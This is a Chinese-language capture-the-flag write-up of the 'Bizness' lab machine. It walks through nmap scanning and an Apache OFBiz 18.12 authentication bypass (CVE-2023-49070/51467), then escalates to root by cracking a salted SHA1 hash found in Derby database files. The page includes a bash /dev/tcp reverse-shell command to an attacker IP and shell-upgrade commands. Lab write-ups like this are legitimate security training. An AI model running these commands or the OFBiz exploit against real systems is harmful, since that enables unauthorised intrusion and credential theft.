当前位置: 首页 > news >正文

Linux/Bizness

Enumeration

nmap

用 nmap 扫描了常见的端口,发现对外开放了22,80,443

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.11.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-08 01:21 EST
Nmap scan report for 10.10.11.252
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  httpsNmap done: 1 IP address (1 host up) scanned in 41.55 seconds

访问 80 端口,重定向至域名,将其添加至 /etc/hosts 中

添加索引后访问系统,在页面最底部发现 Powerd by Apache OFBiz

使用目录扫描工具发现了 /control/login 接口,在登录页面可以看到 OFBiz的版本为 18.12

Exploitation

Apache OFBiz漏洞

搜索该版本发现存在两个漏洞,漏洞编号分别为 CVE-2023-49070 和 CVE-2023-51467

Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。下面这篇文章详细分析了这两个漏洞

漏洞分析Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070 and CVE-2023-51467) - vsociety (vicarius.io)

在搜索漏洞 PoC 时发现了一个 gui 工具,包含了两个漏洞,用起来是真方便啊,只需要把目标 url 和要执行的命令放进去,exploit 一下结果就出来了

一开始使用了非常常见的反向 shell 连接指令

/bin/bash -i >& /dev/tcp/10.10.14.19/4444 0>&1

然后得到了下面的结果,可以执行 id 和 whoami 命令,看到第 5 行和第 6 行有两句话,查了一下。bash: cannot set terminal process group (727): Inappropriate ioctl for device。这个错误通常出现在bash shell中,当bash尝试为一个终端设置进程组时发生错误。Inappropriate ioctl for device表明bash尝试对一个不支持所需ioctl操作(输入/输出控制操作)的设备执行操作。这可能是因为bash在没有控制终端的环境中运行,例如通过某些网络服务启动的bash shell。bash: no job control in this shell。这个警告表明当前bash shell没有作业控制功能。作业控制通常允许用户在前台和后台之间切换命令的执行,并管理这些命令的状态(例如挂起、恢复或终止它们)。当bash在没有控制终端的环境中运行时,例如通过SSH的某些配置或某些非交互式服务,作业控制功能通常会被禁用

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 56216
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ id
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
ofbiz@bizness:/opt/ofbiz$ whoami
whoami
ofbiz
ofbiz@bizness:/opt/ofbiz$ help

本来想放弃,但是想了想能执行 id 和 whoami 命令,执行不了其他的,会不会是次数的问题,比如只能执行多少次等等。所以重新获取一个 shell 后,直接用 python 语句升级 shell,然后这个困扰我的问题暂时解决了,可我还是不清楚到底发生了什么

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 55692
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended  nc -nvlp 4444┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg  
[1]  + continued  nc -nvlp 4444reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

使用 linpeas.sh 搜索系统漏洞,发现了一些数据库文件

/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6850.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde61.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c2e1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c14ad1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde51.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce71.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6861.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce61.dat

搜索所有 .dat 文件并将其重定向到 datfile 文件夹中

find / -name '*.dat' -type f 2>/dev/null > /tmp/datfile

在其中搜索 SHA 字符串时,发现了下面的内容

"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I$SHA = 表示 SHA1 哈希值
$d = 盐值
$uP0_QaVBpDWFeo8-dRzDqRwXQ2I = bas64编码的哈希值

使用 hashcat 破解,提前将 hash 解码并转为 16 进制,然后使用 hashcat 破解 hash 值,得到密码 monkeybizness,在切换到 root 即可

http://www.lryc.cn/news/321895.html

相关文章:

  • mysql 数据库 增删改查 基本操作
  • 计算机网络——物理层(编码与调制)
  • PHP魔术方法详解
  • 游戏 AI 反作弊|内附解决方案详情!
  • elementUI组件库样式修改整理
  • 还是了解下吧,大语言模型调研汇总
  • Win11初始化系统遇一文解决
  • vr虚拟现实游戏世界介绍|数字文化展览|VR元宇宙文旅
  • kotlin 程序 编译与执行
  • Python学习:注释和运算符
  • 英伟达 V100、A100/800、H100/800 GPU 对比
  • Spark面试重点
  • UGUI源码分析与研究2-从底层实现的角度去分析和调优UI的性能问题和疑难杂症
  • OpenAI的GPT已达极限,更看好AI Agent
  • 【C/C++】详解 assert() 断言(什么是assert? assert有什么作用?)
  • [C++]20:unorderedset和unorderedmap结构和封装。
  • ARM 汇编指令:(六) B 跳转指令
  • ​​SQLiteC/C++接口详细介绍之sqlite3类(十一)
  • 百度智能云+SpringBoot=AI对话【人工智能】
  • 第二十七节 Java 多态
  • 基于Springboot的员工健康管理系统(有报告)。Javaee项目,springboot项目。
  • [论文精读]Dynamic Coarse-to-Fine Learning for Oriented Tiny Object Detection
  • Selenium WebDriver 中用于查找网页元素的两个方法
  • python 常用装饰器
  • 深入解析MySQL日志系统:Binlog、Undo Log和Redo Log
  • 强森算法求两点最短路径的基本流程及代码实现
  • 数据结构入门篇 之 【双链表】的实现讲解(附完整实现代码及顺序表与线性表的优缺点对比)
  • 什么是零日攻击?
  • 阿里云2025届春招实习生招聘
  • 简单了解多线程